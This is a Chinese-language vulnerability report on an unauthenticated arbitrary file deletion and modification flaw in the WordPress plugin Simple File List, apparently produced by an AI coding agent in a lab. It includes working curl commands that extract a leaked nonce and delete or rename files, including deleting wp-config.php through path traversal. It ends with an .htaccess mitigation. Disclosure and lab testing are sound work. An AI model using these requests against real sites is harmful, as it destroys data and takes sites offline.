| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-11912 |
| CVSS 评分 | 7.5(高危) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| 受影响插件 | Simple File List |
| 受影响版本 | <= 6.3.7 |
| 已修复版本 | 6.3.8 |
| 发布时间 | 2026年6月19日 |
| 研究人员 | Chloe Chamberland - Wordfence |
| 实验室环境 | poloss-lab.ddev.site (DDEV) |
WordPress 插件 Simple File List 在全部版本(包括 6.3.7 及之前版本)中存在因授权检查不足导致的任意文件修改漏洞。这使得未经身份验证的攻击者能够删除和修改服务器上的文件。
漏洞存在的原因如下:
AJAX 端点注册:simplefilelist_edit_job AJAX 操作同时通过 wp_ajax_ 和 wp_ajax_nopriv_ 钩子注册,从而允许未认证访问:
add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
存在缺陷的授权检查:eeSFL_FileEditor()(第 1265 行)中的授权逻辑使用:
if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
return;
}
is_admin() 函数在 AJAX 请求中返回 FALSE,导致在评估 AllowFrontManage 设置之前授权检查即提前短路。
Nonce 泄露:安全 nonce (eeSFL_ActionNonce) 通过 wp_create_nonce() 生成,并暴露在前端 HTML 源代码中,允许攻击者在无需认证的情况下提取它。
测试期间,该漏洞被成功利用来删除 WordPress 配置文件(wp-config.php),导致网站彻底瘫痪。 这展示了该漏洞路径遍历方面的严重性。
# 从文件列表页面获取安全 nonce
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# 输出: eeSFL_ActionNonce">1c14af78c2
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=test.txt"
# 响应: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Edit" \
-d "eeFileName=original.pdf" \
-d "eeFileNameNew=malicious.pdf"
# 响应: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=../../wp-config.php"
# 响应: SUCCESS(严重 - 这会破坏网站!)
[eeSFL] 短代码的页面# 阻止 simplefilelist_edit_job AJAX 调用
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
</IfModule>
本报告由 Claude Code - WordPress 安全测试实验室生成 日期:2026年6月20日